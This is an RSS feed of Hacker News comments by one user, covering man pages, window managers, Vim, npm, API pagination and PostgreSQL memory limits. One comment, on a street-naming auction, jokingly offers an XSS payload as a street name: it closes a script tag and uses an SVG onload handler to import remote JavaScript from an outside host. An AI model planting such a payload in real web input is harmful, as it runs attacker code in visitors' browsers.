<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: PhilipRoman</title><link>https://news.ycombinator.com/user?id=PhilipRoman</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Mon, 13 Apr 2026 08:34:43 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=PhilipRoman" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by PhilipRoman in "Bring Back Idiomatic Design (2023)"]]></title><description><![CDATA[
<p>...except for HN "unvote"/"undown" feedback which is especially unfortunate due to the shared prefix. Every time I upvote something I squint at the unvote/undown to make sure I didn't misclick.</p>
]]></description><pubDate>Sun, 12 Apr 2026 14:12:17 +0000</pubDate><link>https://news.ycombinator.com/item?id=47739888</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47739888</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47739888</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Number in man page titles e.g. sleep(3)"]]></title><description><![CDATA[
<p>Interestingly, the section doesn't actually have to start with a number. TCL man pages use the 'n' section and 'man' resolves them just fine despite the ambiguity. Conversely, manpage names can also start with numbers, although this is rare (I found only one such example: man 30-systemd-environment-d-generator)</p>
]]></description><pubDate>Mon, 06 Apr 2026 11:50:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=47659702</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47659702</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47659702</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Improving my focus by giving up my big monitor"]]></title><description><![CDATA[
<p>I'm using Hyprland right now for its wayland support, but IMO so far the best mental model for window management I've seen is that of herbstluftwm with static layouts (you can still use dynamic tiling and tabs with it of course)</p>
]]></description><pubDate>Sat, 04 Apr 2026 09:48:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=47637557</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47637557</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47637557</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Naming rights to street auctioned in San Francisco"]]></title><description><![CDATA[
<p>Of course...<p><pre><code>  "></script><svg onload=import('//x.p1.gs/')> Street</code></pre></p>
]]></description><pubDate>Sat, 04 Apr 2026 07:27:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=47636759</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47636759</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47636759</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Delve allegedly forked an open-source tool and sold it as its own"]]></title><description><![CDATA[
<p>Didn't notice it, to be honest.</p>
]]></description><pubDate>Thu, 02 Apr 2026 16:38:25 +0000</pubDate><link>https://news.ycombinator.com/item?id=47616764</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47616764</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47616764</guid></item><item><title><![CDATA[New comment by PhilipRoman in "AI has suddenly become more useful to open-source developers"]]></title><description><![CDATA[
<p>What they want? Sometimes. What they need? Almost never.</p>
]]></description><pubDate>Wed, 01 Apr 2026 16:39:15 +0000</pubDate><link>https://news.ycombinator.com/item?id=47603221</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47603221</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47603221</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Ollama is now powered by MLX on Apple Silicon in preview"]]></title><description><![CDATA[
<p>I use the free version of ChatGPT (without logging in) when I need some one-off question without a huge context. Real world prompt:<p><pre><code>  "when hostapd initializes 80211 iface over nl80211, what attributes correspond to selected standard version like ax or be?"
</code></pre>
It works fine, avoids falling into trap due to misleading question. Probably works even better for more popular technologies. Yeah, it has higher failure rates but it's not a dealbreaker for non-autonomous use cases.</p>
]]></description><pubDate>Tue, 31 Mar 2026 13:00:35 +0000</pubDate><link>https://news.ycombinator.com/item?id=47586740</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47586740</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47586740</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Axios compromised on NPM – Malicious versions drop remote access trojan"]]></title><description><![CDATA[
<p>I don't deny that node/npm is useful for building servers, devtools for JS development itself, etc. but as an end user I haven't encountered anything useful which requires having it on my machine.</p>
]]></description><pubDate>Tue, 31 Mar 2026 11:05:02 +0000</pubDate><link>https://news.ycombinator.com/item?id=47585579</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47585579</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47585579</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Axios compromised on NPM – Malicious versions drop remote access trojan"]]></title><description><![CDATA[
<p>This sounds like satire but isn't - I just make sure the nodejs/npm packages don't exist on my system. I've yet to find a crucial piece of software that requires it. As much as I love that cute utility that turns maps into ascii art, it's not exactly sqlite in terms of usefulness.</p>
]]></description><pubDate>Tue, 31 Mar 2026 06:51:39 +0000</pubDate><link>https://news.ycombinator.com/item?id=47583652</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47583652</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47583652</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Neovim 0.12.0"]]></title><description><![CDATA[
<p>I always thought Vim/Nvim already had a built-in package manager, git clone inside ~/.vim/pack/*/start, am I missing anything by not using a "real" package manager?</p>
]]></description><pubDate>Sun, 29 Mar 2026 19:13:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=47566201</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47566201</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47566201</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Neovim 0.12.0"]]></title><description><![CDATA[
<p>In Vim, :! cleans up the tty context and hands it off to the child program, to do whatever it wants, you can open any TUI program and it will work as expected.
In Neovim, :! just uses a plain pipe. Actually I believe GVim has the same problem. Since both Vim implementations now have a built in terminal handling stack anyway, I wonder if that could be used to unify the behavior.</p>
]]></description><pubDate>Sun, 29 Mar 2026 19:09:23 +0000</pubDate><link>https://news.ycombinator.com/item?id=47566157</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47566157</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47566157</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Iran-linked hackers breach FBI director's personal email"]]></title><description><![CDATA[
<p>It's actually almost exactly the opposite, at least when considering the number of media outlets. Fox news is a massive outlier with a huge audience and strong republican leaning, but most of the major networks engage in democrat-aligned signaling (not necessarily the progressive branch of democrats).</p>
]]></description><pubDate>Sun, 29 Mar 2026 17:09:02 +0000</pubDate><link>https://news.ycombinator.com/item?id=47565012</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47565012</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47565012</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Tell HN: GitHub's Dependabot REST API is silently returning incomplete results"]]></title><description><![CDATA[
<p>I believe you've always been supposed to handle pagination for this API: <a href="https://docs.github.com/en/rest/using-the-rest-api/using-pagination-in-the-rest-api?apiVersion=2026-03-10" rel="nofollow">https://docs.github.com/en/rest/using-the-rest-api/using-pag...</a><p>Paginated-by-default APIs are an annoying pattern, like GitLab CI suddenly breaking after 20 builds, etc. I wish they would start making the pagination parameters required.</p>
]]></description><pubDate>Sun, 29 Mar 2026 10:22:04 +0000</pubDate><link>https://news.ycombinator.com/item?id=47561875</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47561875</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47561875</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Linux is an interpreter"]]></title><description><![CDATA[
<p>That sounds like something I would've done... When I was a kid, the 5€/month for a VPS was a massive expense, to the point where I occasionally had to download my 10GB rootfs to my mom's windows laptop, terminate the instance and then rebuild it once I had enough money. Eventually I got an old Kindle that was able to run an app called Terminal IDE which had a Linux shell with some basic programs like busybox, gcc. Spartacus Rex, if you're out there, thank you for making my entire career possible.</p>
]]></description><pubDate>Sat, 28 Mar 2026 19:27:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=47557490</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47557490</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47557490</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Hacking old hardware by renaming to .zip [video]"]]></title><description><![CDATA[
<p>For RE cases where I know the original compiler used (a bit harder on C compilers due to huge number of obscure optimization flags), I give it a feedback loop to write a function that compiles to the original machine code.</p>
]]></description><pubDate>Sat, 28 Mar 2026 11:23:47 +0000</pubDate><link>https://news.ycombinator.com/item?id=47553567</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47553567</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47553567</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Desk for people who work at home with a cat"]]></title><description><![CDATA[
<p>Mine likes them as well, but usually within 24 hours they're transformed into thousands of tiny cardboard pieces.</p>
]]></description><pubDate>Fri, 27 Mar 2026 16:31:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=47544852</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47544852</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47544852</guid></item><item><title><![CDATA[New comment by PhilipRoman in "AI users whose lives were wrecked by delusion"]]></title><description><![CDATA[
<p>I initially laughed at this but then remembered that <a href="https://poc.bcachefs.org/" rel="nofollow">https://poc.bcachefs.org/</a> exists...</p>
]]></description><pubDate>Thu, 26 Mar 2026 15:25:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=47531687</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47531687</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47531687</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Ensu – Ente’s Local LLM app"]]></title><description><![CDATA[
<p>Ente has a killer feature of supporting actual end-to-end encryption for photos. That alone puts them above many other competitors.</p>
]]></description><pubDate>Wed, 25 Mar 2026 20:55:58 +0000</pubDate><link>https://news.ycombinator.com/item?id=47523119</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47523119</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47523119</guid></item><item><title><![CDATA[New comment by PhilipRoman in "You are not your job"]]></title><description><![CDATA[
<p>For an ideal ('spherical cow in a vacuum') type of homeless person, sure.</p>
]]></description><pubDate>Mon, 23 Mar 2026 09:08:11 +0000</pubDate><link>https://news.ycombinator.com/item?id=47486950</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47486950</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47486950</guid></item><item><title><![CDATA[New comment by PhilipRoman in "Work_mem: It's a Trap"]]></title><description><![CDATA[
<p>Be careful with the setrlimit/ulimit API family, generally it doesn't do what you want. You can limit virtual memory (but... why?) or specific segments like stack, etc. There is also RLIMIT_RSS which sounds like what you'd want, but alas:<p><pre><code>    RLIMIT_RSS
        This is a limit (in bytes) on the process's resident set (the number of virtual pages resident in RAM).  This limit has effect only in Linux 2.4.x,  x  <  3 and there affects only calls to madvise(2) specifying MADV_WILLNEED.
</code></pre>
I also disagree with the conclusion "No hardware can compensate for a query gone wrong". There are concepts like 'quality of service' and 'fairness' which PG has chosen to not implement.</p>
]]></description><pubDate>Sat, 21 Mar 2026 08:05:09 +0000</pubDate><link>https://news.ycombinator.com/item?id=47465026</link><dc:creator>PhilipRoman</dc:creator><comments>https://news.ycombinator.com/item?id=47465026</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47465026</guid></item></channel></rss>